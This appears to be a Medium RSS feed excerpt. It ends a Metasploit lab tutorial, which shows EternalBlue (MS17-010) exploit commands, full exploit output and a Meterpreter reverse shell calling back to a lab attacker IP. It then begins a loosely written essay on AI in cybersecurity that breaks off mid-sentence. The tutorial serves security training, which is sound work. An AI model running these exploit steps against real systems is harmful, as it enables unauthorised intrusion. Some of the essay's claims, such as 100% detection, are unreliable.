OS matches exploit Target.<br></pre><pre>Payload options (windows/x64/meterpreter/reverse_tcp):</pre><pre>   Name      Current Setting  Required  Description<br>   ----      ---------------  --------  -----------<br>   EXITFUNC  thread           yes       Exit technique (Accepted: &#39;&#39;, seh, thread, process, none)<br>   LHOST     10.10.44.70      yes       The listen address (an interface may be specified)<br>   LPORT     4444             yes       The listen port<br></pre><pre>Exploit target:</pre><pre>   Id  Name<br>   --  ----<br>   0   Windows 7 and Server 2008 R2 (x64) All Service Packs<br></pre><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>As you can see in the screenshot above, some of these parameters require a value for the exploit to work. Some required parameter values will be pre-populated, make sure you check if these should remain the same for your target. For example, a web exploit could have an RPORT (remote port: the port on the target system Metasploit will try to connect to and run the exploit) value preset to 80, but your target web application could be using port 8080.</p><p>In this example, we will set the RHOSTS parameter to the IP address of our target system using the set command.</p><p>A Meterpreter command prompt</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; set rhosts 10.10.165.39<br>rhosts =&gt; 10.10.165.39<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show options</pre><pre>Module options (exploit/windows/smb/ms17_010_eternalblue):</pre><pre>   Name           Current Setting  Required  Description<br>   ----           ---------------  --------  -----------<br>   RHOSTS         10.10.165.39     yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&#39;<br>   RPORT          445              yes       The target port (TCP)<br>   SMBDomain      .                no        (Optional) The Windows domain to use for authentication<br>   SMBPass                         no        (Optional) The password for the specified username<br>   SMBUser                         no        (Optional) The username to authenticate as<br>   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.<br>   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.<br></pre><pre>Payload options (windows/x64/meterpreter/reverse_tcp):</pre><pre>   Name      Current Setting  Required  Description<br>   ----      ---------------  --------  -----------<br>   EXITFUNC  thread           yes       Exit technique (Accepted: &#39;&#39;, seh, thread, process, none)<br>   LHOST     10.10.44.70      yes       The listen address (an interface may be specified)<br>   LPORT     4444             yes       The listen port<br></pre><pre>Exploit target:</pre><pre>   Id  Name<br>   --  ----<br>   0   Windows 7 and Server 2008 R2 (x64) All Service Packs<br></pre><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>Once you have set a parameter, you can use the show options command to check the value was set correctly.</p><p>Parameters you will often use are:</p><ul><li><strong>RHOSTS:</strong> “Remote host”, the IP address of the target system. A single IP address or a network range can be set. This will support the CIDR (Classless Inter-Domain Routing) notation (/24, /16, etc.) or a network range (10.10.10.x — 10.10.10.y). You can also use a file where targets are listed, one target per line using file:/path/of/the/target_file.txt, as you can see below.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OJ8Zy-IpyqhKNyeZ.png" /></figure><ul><li><strong>RPORT:</strong> “Remote port”, the port on the target system the vulnerable application is running on.</li><li><strong>PAYLOAD: </strong>The payload you will use with the exploit.</li><li><strong>LHOST:</strong> “Localhost”, the attacking machine (your AttackBox or Kali Linux) IP address.</li><li><strong>LPORT:</strong> “Local port”, the port you will use for the reverse shell to connect back to. This is a port on your attacking machine, and you can set it to any port not used by any other application.</li><li><strong>SESSION:</strong> Each connection established to the target system using Metasploit will have a session ID. You will use this with post-exploitation modules that will connect to the target system using an existing connection.</li></ul><p>You can override any set parameter using the set command again with a different value. You can also clear any parameter value using the unset command or clear all set parameters with the unset all command.</p><p>The unset all command</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; unset all<br>Flushing datastore...<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show options</pre><pre>Module options (exploit/windows/smb/ms17_010_eternalblue):</pre><pre>   Name           Current Setting  Required  Description<br>   ----           ---------------  --------  -----------<br>   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&#39;<br>   RPORT          445              yes       The target port (TCP)<br>   SMBDomain      .                no        (Optional) The Windows domain to use for authentication<br>   SMBPass                         no        (Optional) The password for the specified username<br>   SMBUser                         no        (Optional) The username to authenticate as<br>   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.<br>   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.<br></pre><pre>Exploit target:</pre><pre>   Id  Name<br>   --  ----<br>   0   Windows 7 and Server 2008 R2 (x64) All Service Packs<br></pre><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>You can use the setg command to set values that will be used for all modules. The setg command is used like the set command. The difference is that if you use the set command to set a value using a module and you switch to another module, you will need to set the value again. The setg command allows you to set the value so it can be used by default across different modules. You can clear any value set with setg using unsetg.</p><p>The example below uses the following flow;</p><ol><li>We use the ms17_010_eternalblue exploitable</li><li>We set the RHOSTS variable using the setg command instead of the set command</li><li>We use the back command to leave the exploit context</li><li>We use an auxiliary (this module is a scanner to discover MS17–010 vulnerabilities)</li><li>The show options command shows the RHOSTS parameter is already populated with the IP address of the target system.</li></ol><p>Navigating modules</p><pre>msf6 &gt; use exploit/windows/smb/ms17_010_eternalblue <br>[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; setg rhosts 10.10.165.39<br>rhosts =&gt; 10.10.165.39<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; back<br>msf6 &gt; use auxiliary/scanner/smb/smb_ms17_010 <br>msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; show options</pre><pre>Module options (auxiliary/scanner/smb/smb_ms17_010):</pre><pre>   Name         Current Setting                                                Required  Description<br>   ----         ---------------                                                --------  -----------<br>   CHECK_ARCH   true                                                           no        Check for architecture on vulnerable hosts<br>   CHECK_DOPU   true                                                           no        Check for DOUBLEPULSAR on vulnerable hosts<br>   CHECK_PIPE   false                                                          no        Check for named pipe on vulnerable hosts<br>   NAMED_PIPES  /opt/metasploit-framework-5101/data/wordlists/named_pipes.txt  yes       List of named pipes to check<br>   RHOSTS       10.10.165.39                                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&#39;<br>   RPORT        445                                                            yes       The SMB service port (TCP)<br>   SMBDomain    .                                                              no        The Windows domain to use for authentication<br>   SMBPass                                                                     no        The password for the specified username<br>   SMBUser                                                                     no        The username to authenticate as<br>   THREADS      1                                                              yes       The number of concurrent threads (max one per host)</pre><pre>msf6 auxiliary(scanner/smb/smb_ms17_010) &gt;</pre><p>The setg command sets a global value that will be used until you exit Metasploit or clear it using the unsetg command.</p><p><strong>Using modules</strong></p><p>Once all module parameters are set, you can launch the module using the exploit command. Metasploit also supports the run command, which is an alias created for the exploit command as the word exploit did not make sense when using modules that were not exploits (port scanners, vulnerability scanners, etc.).</p><p>The exploit command can be used without any parameters or using the “-z” parameter.</p><p>The exploit -z command will run the exploit and background the session as soon as it opens.</p><p>The exploit -z command</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; exploit -z</pre><pre>[*] Started reverse TCP handler on 10.10.44.70:4444 <br>[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check<br>[+] 10.10.12.229:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)<br>[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)<br>[*] 10.10.12.229:445 - Connecting to target for exploitation.<br>[+] 10.10.12.229:445 - Connection established for exploitation.<br>[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply<br>[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)<br>[*] 10.10.12.229:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes<br>[*] 10.10.12.229:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv<br>[*] 10.10.12.229:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      <br>[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply<br>[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.<br>[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet<br>[*] 10.10.12.229:445 - Starting non-paged pool grooming<br>[+] 10.10.12.229:445 - Sending SMBv2 buffers<br>[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.<br>[*] 10.10.12.229:445 - Sending final SMBv2 buffers.<br>[*] 10.10.12.229:445 - Sending last fragment of exploit packet!<br>[*] 10.10.12.229:445 - Receiving response from exploit packet<br>[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!<br>[*] 10.10.12.229:445 - Sending egg to corrupted connection.<br>[*] 10.10.12.229:445 - Triggering free of corrupted buffer.<br>[*] Sending stage (201283 bytes) to 10.10.12.229<br>[*] Meterpreter session 2 opened (10.10.44.70:4444 -&gt; 10.10.12.229:49186) at 2021-08-20 02:06:48 +0100<br>[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[*] Session 2 created in the background.<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>This will return you the context prompt from which you have run the exploit.</p><p>Some modules support the check option. This will check if the target system is vulnerable without exploiting it.</p><p><strong>Sessions</strong><br>Once a vulnerability has been successfully exploited, a session will be created. This is the communication channel established between the target system and Metasploit.</p><p>You can use the background command to background the session prompt and go back to the msfconsole prompt.</p><p>Backgrounding sessions</p><pre>meterpreter &gt; background<br>[*] Backgrounding session 2...<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>Alternatively, CTRL+Z can be used to background sessions.</p><p>The sessions command can be used from the msfconsole prompt or any context to see the existing sessions.</p><p>Listing active sessions</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; sessions</pre><pre>Active sessions<br>===============</pre><pre>  Id  Name  Type                     Information                   Connection<br>  --  ----  ----                     -----------                   ----------<br>  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -&gt; 10.10.12.229:49163 (10.10.12.229)<br>  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -&gt; 10.10.12.229:49186 (10.10.12.229)</pre><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; back<br>msf6 &gt; sessions </pre><pre>Active sessions<br>===============</pre><pre>  Id  Name  Type                     Information                   Connection<br>  --  ----  ----                     -----------                   ----------<br>  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -&gt; 10.10.12.229:49163 (10.10.12.229)<br>  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -&gt; 10.10.12.229:49186 (10.10.12.229)</pre><pre>msf6 &gt;</pre><p>To interact with any session, you can use the sessions -i command followed by the desired session number.</p><p>Interacting with sessions</p><pre>msf6 &gt; sessions</pre><pre>Active sessions<br>===============</pre><pre>  Id  Name  Type                     Information                   Connection<br>  --  ----  ----                     -----------                   ----------<br>  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -&gt; 10.10.12.229:49163 (10.10.12.229)<br>  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -&gt; 10.10.12.229:49186 (10.10.12.229)</pre><pre>msf6 &gt; sessions -i 2<br>[*] Starting interaction with 2...</pre><pre>meterpreter &gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LQezjqNJ9IF0hMIQnqMpdA.png" /></figure><p><strong>Task 5 Summary</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aI666O8TYuFMEBQH-MmjRg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f707f6c8cfee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Integrating Artificial Intelligence in Cyber Security]]></title>
            <link>https://medium.com/@chamithsandaru14/integrating-artificial-intelligence-in-cyber-security-d41145bc0082?source=rss-31986af0c964------2</link>
            <guid isPermaLink="false">https://medium.com/p/d41145bc0082</guid>
            <dc:creator><![CDATA[Chamithsandaru]]></dc:creator>
            <pubDate>Thu, 22 Jun 2023 13:05:36 GMT</pubDate>
            <atom:updated>2023-06-22T13:05:36.042Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>1. Introduction</strong></p><p>Iterative and dynamic AI systems exist. They develop intelligence as they process more information, “learn” from their mistakes, and become more capable and self-reliant.</p><p>Cybersecurity is one of the most challenging issues we face and AI is best positioned to address it. Machine learning and AI can be used to “keep up with the bad guys “ automating threat detection and responding more effectively than conventional software-driven techniques with today’s constantly developing cyberattacks and abundance of devices.</p><p>Many of these issues ought to be resolved by an AI-based self-learning cybersecurity posture management system. Technology enables you to customize a self-learning system so that it can continuously and automatically collect data from all of your company’s information systems. Following data analysis correlations are found between patterns from millions to billions of signals that are pertinent to the corporate attack surface.</p><p><strong>1.1 AI and Cyber Security</strong></p><p>Artificial intelligence has several applications, including cybersecurity. The average data breach recovery costs $3.86 million globally, according to a Norton research. Additionally, the study shows that it takes businesses Recovery takes, on average, 196 days after a data breach. In order to prevent time wastage and financial losses, enterprises should invest more in AI.</p><p>Threat intelligence, machine learning, and AI can identify trends in data so that security systems can take lessons from the past. Businesses can use AI and machine intelligence to speed up response times to incidents and adhere to security best practices.</p><p><strong>1.2 The role of AI in cyber security</strong></p><p>Cybersecurity Artificial intelligence is a tool that experts can use to enhance best practices and decrease the amount of surface area that is vulnerable to cyberattacks rather than constantly scanning for harmful activities. Cybercriminals have the ability to use artificial intelligence systems for their own nefarious objectives, which gives them the power to take advantage of those same AI systems.</p><p>The following list contains a number of different AI based software for cyber security.</p><p><strong>• security Professional systems</strong></p><p>These are the tools used in artificial intelligence the field of cyber security that have been used the most frequently. In order to protect against cyberattacks, security expert systems adhere to a set of guiding principles. An inference engine is a component of an expert system that contributes to the process of problem-solving. A knowledge base is a repository for information pertaining to a specific subject area. When developing an expert system, the acquisition of an expert system shell comes first, followed by the loading of the knowledge base with relevant information. [1] The amount of information contained in the knowledge base of an expert system is directly proportional to the capabilities and benefits offered by the system. A security expert system examines each process in the system to ensure that it conforms to a well-established standard operating procedure. In the event that it is not, the event will be canceled without delay. To assess the machine’s current state if the procedure isn’t already recorded in the knowledge basis for expert systems it will apply a specified set of guidelines. The machine can be in three various states: safe, moderate, and severe. Following that, the user will receive a notification from the system. Security planning is one instance of an expert system used in the field of cyber security. [2] Expert systems offer a number of benefits, some of which include an inference engine, a knowledge base, support with decision making, and detection of instructions.</p><p><strong>• Artificial Neural Networks</strong></p><p>Millions of synthetic brain cells or computing units are used to create Artificial Neural Networks (ANNs), which mimic the behavior and learning processes of a persons brain. Artificial neural networks are computer models that operate similarly to the billions of interconnected brain cells that the human brain uses to solve problems and make choices in parallel. Brain networks have gained significant traction in the field of cyber security due to its speed when applied to hardware or graphics processors. The use of neural networks in malware classification, DOS detection, worm detection, and forensic investigation has begun. [3] [4] The ability to identify DoS attacks, prevent intrusions, and conduct forensic investigations are some of the benefits of artificial neural networks.</p><p><strong>2. The Integration of AI in Cyber Security</strong></p><p>The use of artificial intelligence into business operations that rely on automation to improve the efficiency and effectiveness of their procedures is becoming an increasingly common practice. IBM believes that data security, often known as cybersecurity, is one of the most important applications that makes use of AI more than any other now. The rate of digital transformation is increasing at a rapid pace, which has resulted in an increase in both the volume and level of sophistication of data breaches. In the fight against cyberattacks, artificial intelligence (AI) has the potential to be an effective tool.</p><p>The following are the key uses of AI in cybersecurity:</p><p><strong>Detection</strong> : Artificial intelligence is mostly used by organizations to detect potential cyberattacks. According to a Capgemini survey more than 50% of firms that have chosen AI based cybersecurity solutions utilize it for detection. Here is as a result of the exceptional capabilities of artificial intelligence to recognize unexpected traffic using either Deep learning or machine learning.</p><p><strong>Prediction :</strong> synthetic intelligence is being utilized by a significant number of businesses to anticipate potential cybersecurity risks. To do this, all of the data must be examined, and predictions must be made according to system training.</p><p>Businesses that use AI for prediction may also use it to find crucial security holes, automatically identify their assets and network architecture, and continually enhance their network defenses against attacks.</p><p><strong>Response :</strong> Continuous change can be observed in the various AI defense mechanisms against cyberattacks. Now, organizations may utilize artificial intelligence to not only detect assaults but also halt them in their tracks. They are able to automatically create a virtual patch to address a threat that has been identified or construct new security procedures in real time.</p><p>Artificial intelligence (AI) helps businesses cut costs, speed up their response to threats, and deal with breaches irrespective of the methods or exact forms qualities in which it is applied.</p><p><strong>3. Where You’ll Find AI Cybersecurity</strong></p><p>As was indicated earlier, firms with a high level of automation have the worst cybersecurity. In most cases, Within automated systems, there will be interactions between the Information technology operational technology and the Internet of Things. This is done to increase productivity, lower the cost per unit of a product, and provide a competitive advantage over other businesses.</p><p>However, this also makes the system more susceptible to attack. To this purpose, the use of AI in cybersecurity is quite helpful for locating potential vulnerabilities in these businesses. Either the administrator is notified or the patches are applied automatically when a solution is implemented.</p><p>On the other hand, this could not be enough. Cybercriminals are currently targeting huge firms that have a high degree of integration. They do this by taking advantage of OT, which has no security at all. This OT was developed for wired networks with the purpose of sending commands to hardware such as plant equipment. This indicates that there was never a risk to the security of the system. However, in today’s world, cybercriminals utilize OT to access other parts of a network or to shut down plant machinery.</p><p><strong>4.Advantages of AI in Cybersecurity</strong></p><p>One of the many domains that can benefit from AI’s many advantages and applications is the field of cybersecurity. In today’s world, where cyberattacks are constantly evolving and the number of connected devices is rapidly increasing, Artificial intelligence and machine learning the ability to detect threats more quickly, stay up with cybercriminals, and respond to incidents more skillfully than manual or traditional software-driven methods.</p><p>Here is a list of various applications and benefits of using AI in cybersecurity:</p><p>· <strong>Detecting New Threats</strong></p><p>AI can detect cyberattacks. AI can help with the weekly proliferation of malware, which traditional software solutions cannot handle.</p><p>Advanced algorithms are being used to educate AI systems to find malware, recognize patterns, and stop even the smallest assaults from ransomware before they reach the system.</p><p>Natural language processing is used to AI can automatically curate data from cyber threat publications, news, and research for better predictive intelligence.</p><p>This can reveal anomalies, cyberattacks, and preventative methods. Cybercriminals follow trends too, so their favorites vary.</p><p>AI based cybersecurity solutions can give the most recent global and sector-specific threats so that you can correctly prioritize crucial choices based on what is most likely to harm your systems.</p><p>· <strong>Battling Bots</strong></p><p>Internet traffic is mostly bots, which can be dangerous. Bots can cause data theft, account takeovers, and account creation.</p><p>Automated threats cannot be handled manually. AI and machine learning make it easier to distinguish between good and harmful bots (such as search engine crawlers) and human visitors to websites.</p><p>AI helps cybersecurity teams examine massive amounts of data and adapt to changing threats.</p><p>Businesses can reply to queries like what constitutes an ordinary user trip and what constitutes a dangerous unusual trip by looking at behavioral trends. From this point on according to Mark Greenwood Chief Technical Architect and Head of Data Science at Netacea we can decipher the motivation behind their website traffic obtaining and maintaining a lead over malicious bots.</p><p>· <strong>Breach Risk Prediction</strong></p><p>The IT asset inventory a precise and thorough list of all devices users and apps with various levels of access to various systems is created using AI algorithms.</p><p>Depending on the danger exposure and asset inventory you have AI based solutions now enable you to plan and target resources to areas with the greatest dangers by determining how and where you are most likely to be compromised.</p><p>You are able to build and enhance policies and processes to raise your cyber resilience thanks to prescriptive insights from AI based analysis.</p><p>· <strong>Better Endpoint Protection</strong></p><p>As the number of devices used for remote work increases quickly AI is essential for securing all of these endpoints.</p><p>There is no question that VPNs and antivirus software can shield users against ransomware and remote malware assaults. This suggests that in order to stay protected from the most recent dangers it becomes imperative to keep up with signature definition changes.</p><p>If antivirus software is not updated, or if the service’s creator is unaware that the virus definitions are out of date this might be worrisome. Therefore, signature protection might not be able to halt a new form of malware assault if it materializes.</p><p>AI driven endpoint security, which creates an endpoint baseline behavior through constant training, adopts a different strategy. AI may see anomalies and if required, take action like alerting a technician or recovering security following a ransomware assault. Instead of waiting for signature changes according to Tim Brown VP of Security Architecture at SolarWinds this method actively defends against assaults.</p><p><strong>5. AI’s development and effects on cyber security.</strong></p><p>Artificial intelligence (AI) may seem like a concept from science fiction, but in fact, it has existed for a very long time in many forms, and even modern, advanced AI is still based on these same principles. To structure the evolution of AI across time, it can be divided between three waves.</p><p>· First-wave rules-based AI</p><p>· Second-wave supervised AI</p><p>· Third-wave unsupervised AI</p><p><strong>First-wave rules-based AI</strong></p><p>Systems with rules are controlled by observations. Early users used this AI to study user behavior and network data by manually writing and executing rules. When files leave the local network To get notifications, a user can create a Largest Outbound File Transfe rule. A high number of login failures is another common rule.</p><p>These guidelines make logic and their alerts can be beneficial, However, this strategy is difficult, constrained, and likely to raise numerous alerts for unusual but harmless activities. To prevent common, routine, and accepted activities that happen throughout busy company networks, analysts could never set up enough rules. Before manually observing traffic patterns and file sizes for each user on the network an analyst must be aware that a certain user seldom transfers files greater than a certain size outside the local network in order to build an appropriate LOFT threshold. Moreover, these users behaviors might change as job responsibilities change, often for unanticipated reasons.</p><p>As networks grow and change along with business, analysts utilizing first-wave AI would struggle to reduce false positives and would probably experience increased stress. First-wave AI can help with cybersecurity in particular in the 2020s.</p><p><strong>Second-wave supervised AI</strong></p><p>AI as a cybersecurity tool was improved later in the 20th century thanks to developments in machine learning and a number of mathematical algorithms that allow the discovery of patterns in data. In the closing decades of the 20th century a number of machine learning algorithms became prominent including</p><p>· Deep neural networks</p><p>· Support vector machines</p><p>· Bayesian learning</p><p>AI powered by machine learning uses historical network data to create rule thresholds, doing away with the requirement for manual human analysis and input. Network deviations may also be analyzed using machine learning.</p><p>A typical enterprise network’s massive amount of data streaming necessitates a major, computationally costly a prolonged learning process that may take months or years accomplish The network dynamics may have changed once the learning is “done,” making months or years of learning ineffective.</p><p>Even if a cybersecurity solution based on machine learning is exceedingly thorough, the learning process produces innate, exploitable blindspots that malicious actors would seek out. Bad actors were able to easily target these “protected” AI-secured systems as a result of learning machine learning alongside cybersecurity firms.</p><p>Second-wave AI outperforms first-wave rule-based AI, but its weaknesses have made it obsolete. These solutions still surface in the cybersecurity industry, even if attackers are much more sophisticated today.</p><p><strong>Third-wave unsupervised AI</strong></p><p>Since the early days of AI based cybersecurity the significance of dynamic corporate networking has only grown. It is clear why second-wave responses to attacks from lightning fast adversaries using zero-day deployments have consistently failed. The third wave of AI is active and prospering, which is fantastic news.</p><p>A generative model of dynamics developed in an unstructured environment serves as the foundation for third wave AI. Third wave AI to put it simply lives on a network and learns to comprehend both anticipated and unexpected yet acceptable behavior.</p><p>Without relying on prior data, MixMode uses unsupervised AI to learn from the first five minutes of its deployment. the stairway continuously takes into account dynamic changes in vast many network and cloud data in an effective computational using mathematical algorithms created in this century. Network security has changed drastically thanks to MixMode.</p><p><strong>6. How AI improves Cyber Security</strong></p><p><strong>Threat Hunting</strong></p><p>Traditional security procedures identify risks using signatures or signs of compromise. This approach could be effective when dealing with risks that have already materialized, but it fails miserably when dealing with threats that have not yet been detected.</p><p>The majority potential risks be found using signature-based methods. Although AI can increase detection rates to 95%, there will be a significant percentage of erroneous positives. The best course of action would be to combine conventional techniques with AI. Due to this lower false positives and increase detection rates to 100%.</p><p>Additionally, businesses can use AI and behavioral analysis to enhance the threat hunting process. You could, for example, employ AI algorithms to build individual application profiles operating on a network inside an organisation by processing a lot of endpoint data.</p><p><strong>Vulnerability Control</strong></p><p>2019, a 17.8% rise over 2018, saw the disclosure of 20,362 new vulnerabilities. Organizations find it difficult to set priorities and oversee the countless fresh weaknesses they experience every day. Prior to addressing high-risk vulnerabilities, traditional vulnerability management techniques frequently wait for hackers to take advantage of them.</p><p>By examining the regular behavior of user accounts, endpoints and servers AI and machine learning techniques like User and Event Behavioral Analytics may identify aberrant activity that might be a sign of a zero day assault. The management and containment of known vulnerabilities depends on traditional vulnerability databases. Even before vulnerabilities are formally identified and addressed, this can aid in protecting companies.</p><p><strong>Network Security</strong></p><p>The two time-consuming components of traditional network security are developing security rules and comprehending the organization’s network topography.</p><p>Policies — Policies governing security will tell you which connections to the network are legitimate and which ones you need to investigate further for potentially dangerous conduct. A paradigm with zero trust can be effectively enforced with the help of these policies. The true difficulty lies in drafting and upholding the policies in light of the vast number of networks.</p><p>Topography — The majority of companies and organizations do not strictly adhere to any naming rules when it comes to their apps and workloads. As a consequence of this, safety squads must devote much time figuring out which group of workloads are associated with a certain application.</p><p><strong>Data Centers</strong></p><p>AI can optimize and monitor a wide range of crucial data organizations –, including back — up power, cooling filters, power usage, internal temperatures, and bandwidth use.The ability of artificial intelligence to perform calculations as well as continuous monitoring enables it to provide insights about what values would increase the efficiency as well as the safety of infrastructure and hardware.</p><p>Additionally, artificial intelligence can assist in lowering the cost of technology maintenance by sending alerts when repairs are required. If you pay attention to these signals, you’ll be able to fix your equipment before it breaks more seriously. For instance adopting AI technology in data centers in 2016 Google estimated a 40% drop in cooling expenses and a 15% decrease in power utilization at their facility..</p><p><strong>7. Developments in this field in the future</strong></p><p>It is imperative that appropriate safety precautions be taken concurrently with the implementation of technological solutions and the use of software. The field of cybersecurity is one that is constantly expanding, and it is constantly improving and adapting in order to safeguard individuals and businesses from cyberattacks.</p><p>A crucial element of cybersecurity is increasingly going to be artificial intelligence (AI), providing support to enterprises of varying sizes and industries in their efforts to improve the effectiveness of their cybersecurity measures. The deployment of AI is occurring the quickest and most effectively in the information technology and telecoms industries respectively. At a speed that is physically impractical for a human to accomplish, artificial intelligence and automated learning techniques are employed today to digest data and automate activities, enhance cybersecurity and make decisions. According to an online analysis, the market for AI applications in cybersecurity is predicted to increase at a compound annual growth rate of 23.6% between 2020 and 2027 reaching $46.3 billion. According to the International Data Corporation security services will make up the majority of expenditure on cybersecurity globally and will rise at the fastest rate, reaching $174.7 billion in 2024.</p><p>This will increase AI’s effectiveness in combating the top dangers to security watch prior to in 2022 notably in the area of cybersecurity. Adoption of AI platforms and architectures, however, is not without difficulties. Cybersecurity concerns were regarded as the most prominent ones by sixty percent of the firms that have included AI so far.</p><p><strong>8. Future developments in AI-based cyber security</strong></p><p>· <strong>Using artificial intelligence to monitor emails</strong></p><p>Enterprise businesses are aware that monitoring email traffic is essential to preventing cyber security breaches brought on by hacking activities like phishing. Machine learning-based monitoring tools are being utilized more frequently to improve the precision and speed of cyberthreat detection. [Cyberthreats] can range from a simple phishing email to a crippling ransom In order to accomplish this goal, a number of different technologies related to artificial intelligence are</p><p>In order to look for words or patterns associated with phishing efforts, natural language processing is also utilized to read emails that enter and exit the business. This reading is done in order to find phrases or patterns that are related with phishing. Anomaly detection software can be used to assist in determining whether the sender, receiver, body, or attachments of an email include malicious content. This application once again displays the capability of artificial intelligence to process vast amounts of data. While it is simple for a human to spot suspicious elements in a single email, it is impossible for large businesses to manually spot suspicious elements among the millions of emails sent and received dailyInstead, artificial intelligence-powered software may keep track of emails sent and received, and alert security staff to any potential cyber security breaches. Tessian asserts that it can supply financial institutions with email monitoring software powered by artificial intelligence, which may help these organizations avoid data breaches, phishing attacks, and misdirected emails. The likelihood that the company’s software uses natural language processing and anomaly detection on a variety of levels to assess whether emails offer a possible threat to cyber security is very high.</p><p>· <strong>Artificially intelligent antivirus software</strong></p><p>A network’s data is checked by antivirus software to see whether any of the signatures match those of known malware or viruses. The disadvantage of this strategy is that it depends on security upgrades for antivirus software to recognize freshly found threats. In addition, the use of this method slows down typical antivirus software in terms of its ability to detect threats in real time, which makes it more difficult for systems to spread. However, the majority of the time, AI-based antivirus software analyzes program activity through the process of anomaly detection.</p><p>Antivirus software that is based on artificial intelligence looks for suspicious patterns of activity generated by programs rather than trying to match known infection signs. Cylance asserts that the Blackberry-owned Smart Antivirus software is able to anticipate, recognize, and respond to potential cyber security attacks thanks to the incorporation of AI. According to the company, Cylance’s AI-enhanced Smart Antivirus does not need to be updated with virus signatures like standard antivirus software does, and it has the potential to learn to recognize patterns that are indicative of potentially dangerous programs over time.</p><p>· <strong>AI-based User Behavior Modeling</strong></p><p>By gaining their login credentials without their knowledge, certain cyber security attacks performed against a system of an organization have the ability to compromise users who have been explicitly targeted. Attackers in the digital realm who have successfully stolen the credentials of a user may try to break into a company network by employing methods that are, in theory, allowed. This makes it harder to detect and block such attacks. A cybersecurity system that is based on AI may be utilized to identify and pinpoint departures from a user’s typical behavioural pattern. They are able to notify the security officers if the pattern is interrupted.</p><p>Darktrace claims to employ machine learning to examine unprocessed network traffic data in order to create a baseline of what is considered to be usual behavior for each client customer and device inside an organization. This will allow Darktrace to identify anomalies in a company’s network traffic. Through the use of training datasets and with the aid of subject-matter experts, the computer learns what constitutes a significant departure from regular baseline behavior. It then alerts the organization to potential cyber threats as quickly as it can.</p><p>· <strong>Artificial Intelligence for Network Threat Detection</strong></p><p>Most businesses prioritize network security, and understanding all of the various elements that make up the network topography is one of the most challenging parts of developing strong network cyber security policy. This means that in order to keep track of every communication that enters and leaves the company’s network, the organization will need to engage human cyber security specialists. Administrators can assess which connection requests are appropriate and which are attempting weird connection behavior by managing the security of these business networks. Administrators can, for instance, identify connection requests that, after entering the network, execute strange apps or transmit and receive a lot of data.</p><p>ShieldX Networks claims that by utilizing artificial intelligence, it can expedite the action of identifying the optimal security options for each application . Additionally, the company asserts that its using software produce security policy recommendations for each application by analyzing network communications data over time for each application.</p><p><strong>9. Disadvantages of AI in Cybersecurity</strong></p><p>Cybersecurity and artificial intelligence (AI) are two areas that are now experiencing a significant uptick in interest. AI has been the driving force behind the transformation of company strategies, the enhancement of decision-making procedures, and the initiation of 